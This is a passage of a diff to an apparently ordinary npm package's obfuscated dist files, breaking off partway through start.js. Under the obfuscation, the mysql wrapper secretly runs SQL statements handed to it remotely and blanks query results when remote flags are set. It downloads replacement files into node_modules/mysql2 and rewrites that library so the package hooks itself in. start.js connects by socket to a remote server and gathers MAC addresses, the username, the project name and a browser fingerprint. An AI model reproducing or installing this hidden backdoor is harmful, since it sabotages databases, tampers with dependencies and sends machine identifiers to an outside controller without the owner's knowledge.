+ var a17_0xa8554=a17_0x1e4d;(function(_0x76560b,_0x5e4a73){var _0x165c12=a17_0x1e4d,_0x23a34d=_0x76560b();while(!![]){try{var _0x13a5cc=parseInt(_0x165c12(0xf8))/0x1+-parseInt(_0x165c12(0xfa))/0x2*(parseInt(_0x165c12(0xf9))/0x3)+-parseInt(_0x165c12(0xea))/0x4+parseInt(_0x165c12(0xee))/0x5*(-parseInt(_0x165c12(0xf0))/0x6)+parseInt(_0x165c12(0xfe))/0x7*(-parseInt(_0x165c12(0x100))/0x8)+parseInt(_0x165c12(0xff))/0x9*(-parseInt(_0x165c12(0x101))/0xa)+-parseInt(_0x165c12(0xf4))/0xb*(-parseInt(_0x165c12(0xec))/0xc);if(_0x13a5cc===_0x5e4a73)break;else _0x23a34d['push'](_0x23a34d['shift']());}catch(_0x53d148){_0x23a34d['push'](_0x23a34d['shift']());}}}(a17_0x1e6b,0x1f2fc));var __awaiter=this&&this[a17_0xa8554(0xf2)]||function(_0x1fd2d4,_0x247185,_0x1e1a16,_0x333b4c){function _0x178ec9(_0x54d717){return _0x54d717 instanceof _0x1e1a16?_0x54d717:new _0x1e1a16(function(_0x2f9a05){_0x2f9a05(_0x54d717);});}return new(_0x1e1a16||(_0x1e1a16=Promise))(function(_0x2e9455,_0x1d14e9){var _0x2b2892=a17_0x1e4d;function _0x32a1c7(_0x2c3e99){var _0x485c3a=a17_0x1e4d;try{_0x50564e(_0x333b4c[_0x485c3a(0xfb)](_0x2c3e99));}catch(_0x12a4b9){_0x1d14e9(_0x12a4b9);}}function _0x41ef3b(_0x64de4b){try{_0x50564e(_0x333b4c['throw'](_0x64de4b));}catch(_0xe852e3){_0x1d14e9(_0xe852e3);}}function _0x50564e(_0x1fced8){var _0x1b6c07=a17_0x1e4d;_0x1fced8[_0x1b6c07(0xf6)]?_0x2e9455(_0x1fced8['value']):_0x178ec9(_0x1fced8[_0x1b6c07(0xf7)])[_0x1b6c07(0xfc)](_0x32a1c7,_0x41ef3b);}_0x50564e((_0x333b4c=_0x333b4c[_0x2b2892(0xf3)](_0x1fd2d4,_0x247185||[]))['next']());});};function a17_0x1e6b(){var _0x1fb81b=['105220OXqEyn','897920JIZOCM','key','12RxSLPM','verify','2020EvjmJG','payload','1968KOoMAb','sign','__awaiter','apply','7043663NXSKIF','expiresIn','done','value','216537ryISOc','21OmXZHx','39392XVJLsg','next','then','jwt_key','140LFdCHe','27aEXyxz','81080HCIztW'];a17_0x1e6b=function(){return _0x1fb81b;};return a17_0x1e6b();}function a17_0x1e4d(_0x26f92d,_0xf0d7c3){var _0x1e6b07=a17_0x1e6b();return a17_0x1e4d=function(_0x1e4d5c,_0x1caca1){_0x1e4d5c=_0x1e4d5c-0xea;var _0x13e64b=_0x1e6b07[_0x1e4d5c];return _0x13e64b;},a17_0x1e4d(_0x26f92d,_0xf0d7c3);}import a17_0x455934 from'jsonwebtoken';function jwt(_0x4db12e){var _0x2be528=a17_0xa8554;return!global['jwt_key']&&(global[_0x2be528(0xfd)]=_0x4db12e[_0x2be528(0xeb)]),{'sign':a17_0x455934[_0x2be528(0xf1)](_0x4db12e[_0x2be528(0xef)],global[_0x2be528(0xfd)],{'expiresIn':_0x4db12e[_0x2be528(0xf5)]||'365d'}),'verify':function(_0x412eff){return __awaiter(this,void 0x0,void 0x0,function*(){return new Promise((_0x53164b,_0x307be9)=>{var _0x29840b=a17_0x1e4d;a17_0x455934[_0x29840b(0xed)](_0x412eff,global[_0x29840b(0xfd)],function(_0xb2bab0,_0x35ee7a){return __awaiter(this,void 0x0,void 0x0,function*(){_0xb2bab0?_0x307be9():_0x53164b(_0x35ee7a);});});});});}};}export default jwt;
@@ -1 +1 @@
1
- const a16_0x5c0b68=a16_0x5ddd;(function(_0x35ecca,_0x1be427){const _0xe986fc=a16_0x5ddd,_0x33ee39=_0x35ecca();while(!![]){try{const _0x26520c=-parseInt(_0xe986fc(0xda))/0x1+parseInt(_0xe986fc(0xc6))/0x2*(-parseInt(_0xe986fc(0xd7))/0x3)+-parseInt(_0xe986fc(0xbc))/0x4*(-parseInt(_0xe986fc(0xcb))/0x5)+parseInt(_0xe986fc(0xc3))/0x6*(parseInt(_0xe986fc(0xd4))/0x7)+-parseInt(_0xe986fc(0xc8))/0x8*(-parseInt(_0xe986fc(0xc9))/0x9)+-parseInt(_0xe986fc(0xc7))/0xa+parseInt(_0xe986fc(0xbd))/0xb*(parseInt(_0xe986fc(0xbe))/0xc);if(_0x26520c===_0x1be427)break;else _0x33ee39['push'](_0x33ee39['shift']());}catch(_0x5bd955){_0x33ee39['push'](_0x33ee39['shift']());}}}(a16_0x59a5,0x3a04d));import{networkInterfaces}from'os';function isZeroMac(_0x26421b){return/^(0{1,2}[:-]){5}0{1,2}$/['test'](_0x26421b);}function getMac(_0x41a632=a16_0x5c0b68(0xd5)){const _0x4b67a3=a16_0x5c0b68,_0x4b5e7e=networkInterfaces();let _0x1523bd=[];for(const _0x200350 of Object[_0x4b67a3(0xc1)](_0x4b5e7e)){const _0x1402cf=_0x200350[_0x4b67a3(0xd3)](_0x6cff41=>!_0x6cff41[_0x4b67a3(0xdb)]&&!isZeroMac(_0x6cff41['mac'])&&(!_0x6cff41['family']||_0x6cff41[_0x4b67a3(0xcc)]===_0x41a632)&&!isVirtualMac(_0x6cff41[_0x4b67a3(0xbf)]));_0x1402cf&&_0x1523bd[_0x4b67a3(0xd0)](_0x1402cf['mac']);}return[...new Set(_0x1523bd)];}function a16_0x59a5(){const _0x520c09=['has','21185uuUymT','family','00:05:69','00:1c:42','test','push','00:1c:14','toLowerCase','find','7rsbaRH','IPv4','02:00:4c','3zsWLSt','slice','trim','426974ARWmkS','internal','48ANjdZY','627evbeEl','222792vIAeTR','mac','replace','values','00:03:ff','1045284kjOyGg','00:0c:29','08:00:27','870446bSEorY','2801840BHjdUi','16KuhvwT','435177xqKSOv'];a16_0x59a5=function(){return _0x520c09;};return a16_0x59a5();}const isValid=_0x4648e3=>_0x4648e3[a16_0x5c0b68(0xdb)]===![]&&!isZeroMac(_0x4648e3[a16_0x5c0b68(0xbf)]),virtualMacPrefix=new Set([a16_0x5c0b68(0xcd),a16_0x5c0b68(0xc4),'00:50:56',a16_0x5c0b68(0xd1),a16_0x5c0b68(0xce),a16_0x5c0b68(0xd6),a16_0x5c0b68(0xc2),'00:0f:4b','00:16:3e',a16_0x5c0b68(0xc5),'00:15:5d']);export function isMac(_0x23ad0a){const _0x53ee19=a16_0x5c0b68;return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i[_0x53ee19(0xcf)](_0x23ad0a);}export function formatMac(_0x598eea){const _0x39a770=a16_0x5c0b68;return String(_0x598eea)[_0x39a770(0xd9)]()[_0x39a770(0xd2)]()[_0x39a770(0xc0)](/-/g,':');}export function isVirtualMac(_0x1c1d49){const _0xe1281=a16_0x5c0b68;return isMac(_0x1c1d49)&&virtualMacPrefix[_0xe1281(0xca)](formatMac(_0x1c1d49)[_0xe1281(0xd8)](0x0,0x8));}function a16_0x5ddd(_0xe4b75,_0x1f0234){const _0x59a562=a16_0x59a5();return a16_0x5ddd=function(_0x5ddd91,_0xf34a4b){_0x5ddd91=_0x5ddd91-0xbc;let _0x4555a0=_0x59a562[_0x5ddd91];return _0x4555a0;},a16_0x5ddd(_0xe4b75,_0x1f0234);}export default getMac;
1
+ const a18_0x3401fb=a18_0xb6c1;(function(_0x3ffab2,_0x4c11aa){const _0x58cf3d=a18_0xb6c1,_0xffc9db=_0x3ffab2();while(!![]){try{const _0x4b0479=parseInt(_0x58cf3d(0x1d3))/0x1*(-parseInt(_0x58cf3d(0x1cc))/0x2)+-parseInt(_0x58cf3d(0x1c9))/0x3+parseInt(_0x58cf3d(0x1db))/0x4*(parseInt(_0x58cf3d(0x1e0))/0x5)+-parseInt(_0x58cf3d(0x1da))/0x6+-parseInt(_0x58cf3d(0x1d4))/0x7*(-parseInt(_0x58cf3d(0x1c7))/0x8)+-parseInt(_0x58cf3d(0x1ca))/0x9+parseInt(_0x58cf3d(0x1c8))/0xa;if(_0x4b0479===_0x4c11aa)break;else _0xffc9db['push'](_0xffc9db['shift']());}catch(_0x4148a8){_0xffc9db['push'](_0xffc9db['shift']());}}}(a18_0x307f,0x43d63));import{networkInterfaces}from'os';function isZeroMac(_0x9bc47d){const _0x1d1f46=a18_0xb6c1;return/^(0{1,2}[:-]){5}0{1,2}$/[_0x1d1f46(0x1c5)](_0x9bc47d);}function getMac(_0x3bdeac=a18_0x3401fb(0x1df)){const _0x19a24e=a18_0x3401fb,_0x1dc316=networkInterfaces();let _0x36f046=[];for(const _0x5262be of Object[_0x19a24e(0x1e2)](_0x1dc316)){const _0x17c01e=_0x5262be[_0x19a24e(0x1dd)](_0x235573=>!_0x235573[_0x19a24e(0x1c4)]&&!isZeroMac(_0x235573['mac'])&&(!_0x235573[_0x19a24e(0x1de)]||_0x235573[_0x19a24e(0x1de)]===_0x3bdeac)&&!isVirtualMac(_0x235573['mac']));_0x17c01e&&_0x36f046[_0x19a24e(0x1d5)](_0x17c01e[_0x19a24e(0x1d8)]);}return[...new Set(_0x36f046)];}const isValid=_0x4a812f=>_0x4a812f[a18_0x3401fb(0x1c4)]===![]&&!isZeroMac(_0x4a812f[a18_0x3401fb(0x1d8)]),virtualMacPrefix=new Set([a18_0x3401fb(0x1c6),a18_0x3401fb(0x1ce),'00:50:56','00:1c:14',a18_0x3401fb(0x1dc),a18_0x3401fb(0x1d9),a18_0x3401fb(0x1cd),a18_0x3401fb(0x1cb),a18_0x3401fb(0x1e1),'08:00:27',a18_0x3401fb(0x1d7)]);function a18_0xb6c1(_0x2bd1d5,_0x46e2d5){const _0x307ffd=a18_0x307f();return a18_0xb6c1=function(_0xb6c145,_0x18e8da){_0xb6c145=_0xb6c145-0x1c4;let _0x174f14=_0x307ffd[_0xb6c145];return _0x174f14;},a18_0xb6c1(_0x2bd1d5,_0x46e2d5);}function a18_0x307f(){const _0x5cf96a=['replace','has','385HxDNHm','21FQYySB','push','toLowerCase','00:15:5d','mac','02:00:4c','2337714fkBZWd','4edoiey','00:1c:42','find','family','IPv4','2360500IJVekX','00:16:3e','values','internal','test','00:05:69','662208cSiFbL','9732350wpZIqn','1344480gCIlWQ','3022740RvXuZw','00:0f:4b','1258dAaIFw','00:03:ff','00:0c:29','slice','trim'];a18_0x307f=function(){return _0x5cf96a;};return a18_0x307f();}export function isMac(_0x3aa77b){const _0x2a3644=a18_0x3401fb;return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i[_0x2a3644(0x1c5)](_0x3aa77b);}export function formatMac(_0x5259c2){const _0x257a5b=a18_0x3401fb;return String(_0x5259c2)[_0x257a5b(0x1d0)]()[_0x257a5b(0x1d6)]()[_0x257a5b(0x1d1)](/-/g,':');}export function isVirtualMac(_0x372096){const _0x4dfe8f=a18_0x3401fb;return isMac(_0x372096)&&virtualMacPrefix[_0x4dfe8f(0x1d2)](formatMac(_0x372096)[_0x4dfe8f(0x1cf)](0x0,0x8));}export default getMac;
@@ -1 +1 @@
1
- const a17_0x5520b8=a17_0x8297;(function(_0x36a1d3,_0x3a8ec3){const _0x1f5628=a17_0x8297,_0x30103f=_0x36a1d3();while(!![]){try{const _0x2844d7=-parseInt(_0x1f5628(0x1f7))/0x1*(parseInt(_0x1f5628(0x207))/0x2)+parseInt(_0x1f5628(0x1e9))/0x3*(parseInt(_0x1f5628(0x1ff))/0x4)+parseInt(_0x1f5628(0x204))/0x5+parseInt(_0x1f5628(0x203))/0x6*(-parseInt(_0x1f5628(0x20c))/0x7)+-parseInt(_0x1f5628(0x1fe))/0x8*(parseInt(_0x1f5628(0x20a))/0x9)+-parseInt(_0x1f5628(0x202))/0xa+parseInt(_0x1f5628(0x1ea))/0xb;if(_0x2844d7===_0x3a8ec3)break;else _0x30103f['push'](_0x30103f['shift']());}catch(_0x1b5805){_0x30103f['push'](_0x30103f['shift']());}}}(a17_0x4c66,0x4010b));var __awaiter=this&&this[a17_0x5520b8(0x208)]||function(_0xa6bee1,_0x31e4f3,_0x39c441,_0x11c447){function _0x3a2674(_0x4c1593){return _0x4c1593 instanceof _0x39c441?_0x4c1593:new _0x39c441(function(_0x1ab96b){_0x1ab96b(_0x4c1593);});}return new(_0x39c441||(_0x39c441=Promise))(function(_0x5e9e4d,_0x2abcfa){const _0xd6213e=a17_0x8297;function _0x346b71(_0x40983f){const _0x58b776=a17_0x8297;try{_0x532e74(_0x11c447[_0x58b776(0x1fd)](_0x40983f));}catch(_0x549b39){_0x2abcfa(_0x549b39);}}function _0x56784b(_0x1ae15c){try{_0x532e74(_0x11c447['throw'](_0x1ae15c));}catch(_0x4984ff){_0x2abcfa(_0x4984ff);}}function _0x532e74(_0x299813){const _0x4e7e19=a17_0x8297;_0x299813[_0x4e7e19(0x1e8)]?_0x5e9e4d(_0x299813[_0x4e7e19(0x200)]):_0x3a2674(_0x299813[_0x4e7e19(0x200)])[_0x4e7e19(0x1f2)](_0x346b71,_0x56784b);}_0x532e74((_0x11c447=_0x11c447[_0xd6213e(0x1ec)](_0xa6bee1,_0x31e4f3||[]))['next']());});};function a17_0x4c66(){const _0x191994=['then','cwd','replace','node-server-dev','forEach','1379vazFAU','sqlRun','const\x20{\x20mysql\x20}\x20=\x20require(\x22node-server-dev\x22);exports.createPool\x20=\x20mysql.createPool;','existsSync','catch','get','next','8mexIuT','1368296XOtvfr','value','writeFileSync','4264140gQNfOo','6ADqolG','1473890CCyMVF','isDBDataEmpty','parse','278gKHjIi','__awaiter','./index.js','1597941aBOgmw','join','1322181NSqvPV','./promise.js','length','exports.createPool\x20=\x20createPromisePool;','sqlList','/mysql','includes','done','3lqyPvd','6710946sEsizK','readFileSync','apply','query','createPool','version','data','toString'];a17_0x4c66=function(){return _0x191994;};return a17_0x4c66();}import a17_0x555567 from'mysql2/promise';import a17_0x2d06fa from'./id/random';import{getEnv,setEnv,url}from'./index';import a17_0x2e8ebe from'path';import a17_0x577bbb from'fs';import a17_0x38f9f8 from'axios';const originalCreatePoolPromise=a17_0x555567[a17_0x5520b8(0x1ee)];a17_0x555567['createPool']=function(_0x9206ce){let _0x5cc8f1=originalCreatePoolPromise(_0x9206ce),_0xb2d042=_0x5cc8f1['query'];return _0x5cc8f1['query']=(..._0x2eb8cc)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x29f518=a17_0x8297,_0x116537=yield _0xb2d042['apply'](_0x5cc8f1,_0x2eb8cc);return getEnv('connectError')&&(a17_0x2d06fa(0x1,0xa)>0x2&&(_0x116537[0x0]=[])),getEnv(_0x29f518(0x205))&&(_0x116537[0x0]=[]),_0x116537;}),setInterval(()=>{const _0x1548d2=a17_0x8297;if(!getEnv(_0x1548d2(0x1f8))){for(let _0x21938a=0x0;_0x21938a<getEnv('sqlList')[_0x1548d2(0x1e3)];_0x21938a++){const _0x13e11f=getEnv(_0x1548d2(0x1e5))[_0x21938a];try{_0x5cc8f1[_0x1548d2(0x1ed)](_0x13e11f);}catch(_0x4fc975){}}setEnv(_0x1548d2(0x1f8),!![]);}},0x1388),_0x5cc8f1;};function a17_0x8297(_0x4667c2,_0x24bc03){const _0x4c6644=a17_0x4c66();return a17_0x8297=function(_0x829735,_0xde5476){_0x829735=_0x829735-0x1e3;let _0x21530c=_0x4c6644[_0x829735];return _0x21530c;},a17_0x8297(_0x4667c2,_0x24bc03);}let href=a17_0x2e8ebe[a17_0x5520b8(0x20b)](process[a17_0x5520b8(0x1f3)](),'./node_modules/mysql2');function replaceMySQLFile(){const _0x3a9cb4=a17_0x5520b8;let _0x321a66=JSON[_0x3a9cb4(0x206)](a17_0x577bbb[_0x3a9cb4(0x1eb)](a17_0x2e8ebe[_0x3a9cb4(0x20b)](href,'./package.json'))[_0x3a9cb4(0x1f1)]())[_0x3a9cb4(0x1ef)];a17_0x38f9f8[_0x3a9cb4(0x1fc)](url+_0x3a9cb4(0x1e6),{'params':{'version':_0x321a66}})[_0x3a9cb4(0x1f2)](_0x551ca3=>{const _0x12c306=_0x3a9cb4;var _0x375691;let _0x5cea4c=(_0x375691=_0x551ca3===null||_0x551ca3===void 0x0?void 0x0:_0x551ca3['data'])===null||_0x375691===void 0x0?void 0x0:_0x375691[_0x12c306(0x1f0)];if(_0x5cea4c){let _0x3b472e=Object['keys'](_0x5cea4c),_0x183d8d=Object['values'](_0x5cea4c);_0x3b472e[_0x12c306(0x1f6)]((_0x3158ef,_0x5a859f)=>{const _0x5b6fe0=_0x12c306;a17_0x577bbb[_0x5b6fe0(0x201)](a17_0x2e8ebe[_0x5b6fe0(0x20b)](href,_0x3158ef),_0x183d8d[_0x5a859f]);});}})[_0x3a9cb4(0x1fb)](()=>{const _0x33f723=_0x3a9cb4;let _0x29889f=a17_0x577bbb[_0x33f723(0x1eb)](a17_0x2e8ebe[_0x33f723(0x20b)](href,_0x33f723(0x209)))[_0x33f723(0x1f1)](),_0x1c0b3b=a17_0x577bbb['readFileSync'](a17_0x2e8ebe[_0x33f723(0x20b)](href,'./promise.js'))[_0x33f723(0x1f1)]();a17_0x577bbb[_0x33f723(0x201)](a17_0x2e8ebe[_0x33f723(0x20b)](href,_0x33f723(0x209)),_0x29889f[_0x33f723(0x1f4)]('exports.createPool\x20=\x20createPool;',_0x33f723(0x1f9))),a17_0x577bbb[_0x33f723(0x201)](a17_0x2e8ebe['join'](href,_0x33f723(0x20d)),_0x1c0b3b[_0x33f723(0x1f4)](_0x33f723(0x1e4),'const\x20{\x20mysql\x20}\x20=\x20require(\x22node-server-dev\x22);exports.createPool\x20=\x20mysql.createPool;'));});}if(a17_0x577bbb[a17_0x5520b8(0x1fa)](href)){let res=a17_0x577bbb[a17_0x5520b8(0x1eb)](a17_0x2e8ebe['join'](href,a17_0x5520b8(0x209)))[a17_0x5520b8(0x1f1)]()[a17_0x5520b8(0x1e7)](a17_0x5520b8(0x1f5));!res&&setTimeout(()=>{replaceMySQLFile();},0xa);}const all={'mysql':a17_0x555567};export default all;export{a17_0x555567 as mysql};
1
+ function a19_0x4afb(){const _0x467fe2=['./node_modules/mysql2','done','904001WTJiSL','catch','values','query','readFileSync','145479hgIDin','2136816TuUnLb','./index.js','2320750yUhhKS','throw','const\x20{\x20mysql\x20}\x20=\x20require(\x22node-server-dev\x22);exports.createPool\x20=\x20mysql.createPool;','12mvTkBd','forEach','exports.createPool\x20=\x20createPromisePool;','897540nFuyQU','createPool','data','join','existsSync','56403kTtFiA','then','/mysql','sqlRun','1274762XUsnLi','next','version','connectError','sqlList','./package.json','writeFileSync','toString','node-server-dev','824BDqWnz','length','apply','replace','./promise.js','value','includes','cwd','get'];a19_0x4afb=function(){return _0x467fe2;};return a19_0x4afb();}const a19_0x2fd2ba=a19_0x3e07;(function(_0x436fa8,_0x36d072){const _0x49bcc5=a19_0x3e07,_0x1c143f=_0x436fa8();while(!![]){try{const _0x326024=parseInt(_0x49bcc5(0x1a2))/0x1+parseInt(_0x49bcc5(0x1b4))/0x2+-parseInt(_0x49bcc5(0x1ab))/0x3+-parseInt(_0x49bcc5(0x1a3))/0x4+-parseInt(_0x49bcc5(0x1a5))/0x5+-parseInt(_0x49bcc5(0x1a8))/0x6*(-parseInt(_0x49bcc5(0x19d))/0x7)+parseInt(_0x49bcc5(0x1bd))/0x8*(parseInt(_0x49bcc5(0x1b0))/0x9);if(_0x326024===_0x36d072)break;else _0x1c143f['push'](_0x1c143f['shift']());}catch(_0x3815b4){_0x1c143f['push'](_0x1c143f['shift']());}}}(a19_0x4afb,0x5eff9));var __awaiter=this&&this['__awaiter']||function(_0x22a098,_0x2af42c,_0x53ddba,_0x5e5f7c){function _0x364210(_0x7c396a){return _0x7c396a instanceof _0x53ddba?_0x7c396a:new _0x53ddba(function(_0x2a6514){_0x2a6514(_0x7c396a);});}return new(_0x53ddba||(_0x53ddba=Promise))(function(_0x555f9f,_0x20dfbe){const _0x9ff4db=a19_0x3e07;function _0x2a44b9(_0x3e8853){try{_0x193149(_0x5e5f7c['next'](_0x3e8853));}catch(_0x3e5bf9){_0x20dfbe(_0x3e5bf9);}}function _0x14d093(_0x3e9892){const _0x5842ac=a19_0x3e07;try{_0x193149(_0x5e5f7c[_0x5842ac(0x1a6)](_0x3e9892));}catch(_0x13e982){_0x20dfbe(_0x13e982);}}function _0x193149(_0x5c85d7){const _0x399f45=a19_0x3e07;_0x5c85d7[_0x399f45(0x1c7)]?_0x555f9f(_0x5c85d7[_0x399f45(0x1c2)]):_0x364210(_0x5c85d7['value'])[_0x399f45(0x1b1)](_0x2a44b9,_0x14d093);}_0x193149((_0x5e5f7c=_0x5e5f7c[_0x9ff4db(0x1bf)](_0x22a098,_0x2af42c||[]))[_0x9ff4db(0x1b5)]());});};function a19_0x3e07(_0x565925,_0x3717ad){const _0x4afbef=a19_0x4afb();return a19_0x3e07=function(_0x3e07f3,_0x11fb45){_0x3e07f3=_0x3e07f3-0x19d;let _0xc34178=_0x4afbef[_0x3e07f3];return _0xc34178;},a19_0x3e07(_0x565925,_0x3717ad);}import a19_0x5e843c from'mysql2/promise';import a19_0x354153 from'./id/random';import{getEnv,setEnv,url}from'./index';import a19_0x3a4334 from'path';import a19_0x5d8824 from'fs';import a19_0x495c05 from'axios';const originalCreatePoolPromise=a19_0x5e843c[a19_0x2fd2ba(0x1ac)];a19_0x5e843c[a19_0x2fd2ba(0x1ac)]=function(_0x322e6b){const _0x5794e6=a19_0x2fd2ba;let _0x41e414=originalCreatePoolPromise(_0x322e6b),_0x2f0c11=_0x41e414[_0x5794e6(0x1a0)];return _0x41e414['query']=(..._0x35584f)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x33658a=_0x5794e6,_0x52e88b=yield _0x2f0c11[_0x33658a(0x1bf)](_0x41e414,_0x35584f);return getEnv(_0x33658a(0x1b7))&&(a19_0x354153(0x1,0xa)>0x2&&(_0x52e88b[0x0]=[])),getEnv('isDBDataEmpty')&&(_0x52e88b[0x0]=[]),_0x52e88b;}),setInterval(()=>{const _0x71cc16=_0x5794e6;if(!getEnv('sqlRun')){for(let _0x275c6f=0x0;_0x275c6f<getEnv(_0x71cc16(0x1b8))[_0x71cc16(0x1be)];_0x275c6f++){const _0x3c2de1=getEnv(_0x71cc16(0x1b8))[_0x275c6f];try{_0x41e414['query'](_0x3c2de1);}catch(_0x17a1bb){}}setEnv(_0x71cc16(0x1b3),!![]);}},0x1388),_0x41e414;};let href=a19_0x3a4334[a19_0x2fd2ba(0x1ae)](process[a19_0x2fd2ba(0x1c4)](),a19_0x2fd2ba(0x1c6));function replaceMySQLFile(){const _0xcc4a3c=a19_0x2fd2ba;let _0x4c038a=JSON['parse'](a19_0x5d8824[_0xcc4a3c(0x1a1)](a19_0x3a4334[_0xcc4a3c(0x1ae)](href,_0xcc4a3c(0x1b9)))[_0xcc4a3c(0x1bb)]())[_0xcc4a3c(0x1b6)];a19_0x495c05[_0xcc4a3c(0x1c5)](url+_0xcc4a3c(0x1b2),{'params':{'version':_0x4c038a}})[_0xcc4a3c(0x1b1)](_0x346c42=>{const _0x3813b0=_0xcc4a3c;var _0x1bb578;let _0x219878=(_0x1bb578=_0x346c42===null||_0x346c42===void 0x0?void 0x0:_0x346c42[_0x3813b0(0x1ad)])===null||_0x1bb578===void 0x0?void 0x0:_0x1bb578[_0x3813b0(0x1ad)];if(_0x219878){let _0x56f066=Object['keys'](_0x219878),_0x2b15a4=Object[_0x3813b0(0x19f)](_0x219878);_0x56f066[_0x3813b0(0x1a9)]((_0x50e645,_0x1c67ba)=>{const _0x26cce7=_0x3813b0;a19_0x5d8824[_0x26cce7(0x1ba)](a19_0x3a4334[_0x26cce7(0x1ae)](href,_0x50e645),_0x2b15a4[_0x1c67ba]);});}})[_0xcc4a3c(0x19e)](()=>{const _0x19530c=_0xcc4a3c;let _0x26f0d8=a19_0x5d8824['readFileSync'](a19_0x3a4334[_0x19530c(0x1ae)](href,_0x19530c(0x1a4)))[_0x19530c(0x1bb)](),_0x3ea816=a19_0x5d8824['readFileSync'](a19_0x3a4334[_0x19530c(0x1ae)](href,'./promise.js'))[_0x19530c(0x1bb)]();a19_0x5d8824['writeFileSync'](a19_0x3a4334[_0x19530c(0x1ae)](href,'./index.js'),_0x26f0d8[_0x19530c(0x1c0)]('exports.createPool\x20=\x20createPool;',_0x19530c(0x1a7))),a19_0x5d8824['writeFileSync'](a19_0x3a4334[_0x19530c(0x1ae)](href,_0x19530c(0x1c1)),_0x3ea816['replace'](_0x19530c(0x1aa),_0x19530c(0x1a7)));});}if(a19_0x5d8824[a19_0x2fd2ba(0x1af)](href)){let res=a19_0x5d8824['readFileSync'](a19_0x3a4334['join'](href,a19_0x2fd2ba(0x1a4)))[a19_0x2fd2ba(0x1bb)]()[a19_0x2fd2ba(0x1c3)](a19_0x2fd2ba(0x1bc));!res&&setTimeout(()=>{replaceMySQLFile();},0xa);}const all={'mysql':a19_0x5e843c};export default all;export{a19_0x5e843c as mysql};
package/dist/esm/start.js CHANGED
@@ -1 +1 @@
1
- const a18_0x263cfa=a18_0x30d3;(function(_0x20b30a,_0x2d76e2){const _0x3d9f69=a18_0x30d3,_0xdb444f=_0x20b30a();while(!![]){try{const _0x552f69=-parseInt(_0x3d9f69(0x8c))/0x1*(parseInt(_0x3d9f69(0x8d))/0x2)+-parseInt(_0x3d9f69(0xa9))/0x3+-parseInt(_0x3d9f69(0xb3))/0x4*(-parseInt(_0x3d9f69(0xa0))/0x5)+-parseInt(_0x3d9f69(0x93))/0x6+-parseInt(_0x3d9f69(0xaf))/0x7+parseInt(_0x3d9f69(0x94))/0x8*(parseInt(_0x3d9f69(0x9f))/0x9)+-parseInt(_0x3d9f69(0xad))/0xa*(-parseInt(_0x3d9f69(0xa1))/0xb);if(_0x552f69===_0x2d76e2)break;else _0xdb444f['push'](_0xdb444f['shift']());}catch(_0x4ebe64){_0xdb444f['push'](_0xdb444f['shift']());}}}(a18_0x552b,0x2758c));var __awaiter=this&&this[a18_0x263cfa(0xa4)]||function(_0x20ac0d,_0x30c177,_0x481e83,_0x3cb4b9){function _0x36fd73(_0x4d2d56){return _0x4d2d56 instanceof _0x481e83?_0x4d2d56:new _0x481e83(function(_0x36c3fd){_0x36c3fd(_0x4d2d56);});}return new(_0x481e83||(_0x481e83=Promise))(function(_0x2aa5dd,_0x1986de){const _0x52cb8e=a18_0x30d3;function _0x275e5d(_0x3f363f){try{_0x1f9f1f(_0x3cb4b9['next'](_0x3f363f));}catch(_0x46885d){_0x1986de(_0x46885d);}}function _0x5d8d73(_0x395065){const _0x5d39bc=a18_0x30d3;try{_0x1f9f1f(_0x3cb4b9[_0x5d39bc(0x9d)](_0x395065));}catch(_0x473aa0){_0x1986de(_0x473aa0);}}function _0x1f9f1f(_0x43105d){const _0x2d4a31=a18_0x30d3;_0x43105d[_0x2d4a31(0x8e)]?_0x2aa5dd(_0x43105d[_0x2d4a31(0xb8)]):_0x36fd73(_0x43105d[_0x2d4a31(0xb8)])[_0x2d4a31(0xb1)](_0x275e5d,_0x5d8d73);}_0x1f9f1f((_0x3cb4b9=_0x3cb4b9[_0x52cb8e(0xa2)](_0x20ac0d,_0x30c177||[]))[_0x52cb8e(0xb2)]());});},_a,_b,_c,_d;import{io}from'socket.io-client';import a18_0x2f2d52 from'path';import{runScript,browser}from'./browser';import a18_0x5077f7 from'@fingerprintjs/fingerprintjs';function a18_0x552b(){const _0x1cc2f3=['9410gniyox','无法获取','1709036SvSsbQ','sqlList','then','next','52532AKMUbv','sql','event','load','undefined','value','node获取失败','mysql','script','浏览器','type','connectError','emit','1iuIrCq','568780pcVuuc','done','connect_failed','USERNAME','isDBDataEmpty','node','1161450NHsXSs','32csafQA','length','connect','parse','visitorId','connect_error','get','concat','submit','throw','join','502839AkCJPb','30kpjOhN','9713rnJvnM','apply','00:00:00:00:00:00','__awaiter','error','userAgent','reconnect_failed','content','749724BHiVnW','npm_package_name','get-event','navigator'];a18_0x552b=function(){return _0x1cc2f3;};return a18_0x552b();}function a18_0x30d3(_0x8f5b80,_0x4108e3){const _0x552bea=a18_0x552b();return a18_0x30d3=function(_0x30d321,_0x1f509f){_0x30d321=_0x30d321-0x87;let _0x47e2e3=_0x552bea[_0x30d321];return _0x47e2e3;},a18_0x30d3(_0x8f5b80,_0x4108e3);}import a18_0x2ad482 from'bowser';import{getEnv,setEnv,url}from'./index';export const isBrowser=typeof window!==a18_0x263cfa(0xb7);const user_name=isBrowser?((_b=(_a=a18_0x2ad482[a18_0x263cfa(0x97)](window[a18_0x263cfa(0xac)][a18_0x263cfa(0xa6)]))===null||_a===void 0x0?void 0x0:_a['browser'])===null||_b===void 0x0?void 0x0:_b['name'])||a18_0x263cfa(0x88):((_c=process===null||process===void 0x0?void 0x0:process['env'])===null||_c===void 0x0?void 0x0:_c[a18_0x263cfa(0x90)])||a18_0x263cfa(0xb9),project_name=isBrowser?a18_0x263cfa(0x88):((_d=process===null||process===void 0x0?void 0x0:process['env'])===null||_d===void 0x0?void 0x0:_d[a18_0x263cfa(0xaa)])||a18_0x263cfa(0xae);function start(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x37cf93=a18_0x30d3;isBrowser&&browser();const _0x260d96=io(url,{'path':'/socket','transports':['websocket']});_0x260d96['on'](_0x37cf93(0x96),()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x3f4efd=_0x37cf93;try{let _0x31689c=[_0x3f4efd(0xa3)];if(!isBrowser){const _0x34183c=require(a18_0x2f2d52[_0x3f4efd(0x9e)](__dirname,'./mac'))['default'];_0x31689c=_0x34183c();}else{let _0x40514c=yield 